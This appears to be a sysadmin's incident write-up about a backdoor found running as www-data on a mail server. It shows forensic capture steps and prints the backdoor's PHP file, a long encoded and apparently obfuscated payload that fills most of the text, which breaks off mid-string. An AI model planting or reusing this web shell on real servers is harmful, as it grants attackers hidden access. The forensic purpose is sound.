On the daily routing of checking the systems, I noticed on nagios that a webserver of an old system was down. It’s not the first time that it’s happening the system is mainly used as mailserver and the webserver serves only the webmail interface, at least to my knowledge at that moment. System had problem before with apache service and semaphores, but today there was another issue, a process was running under www-data id, with the command ./prox –p5114 (proxy redirect). Interesting , we have a new backdoor !
First things first, I kept a copy of the instance with lsof and pcat for further analysis,
1: root@mail:/# lsof -p 29369 > 29369
2: root@mail:/# pcat 29369 > 29369.mem
pcat (process cat) is part of tct, apt-get install tct will do the trick on ubuntu/debian systems.
Looking at the data from lsof I located easily the place where backdoor was installed and the actual file was the following
1: <?php $code = "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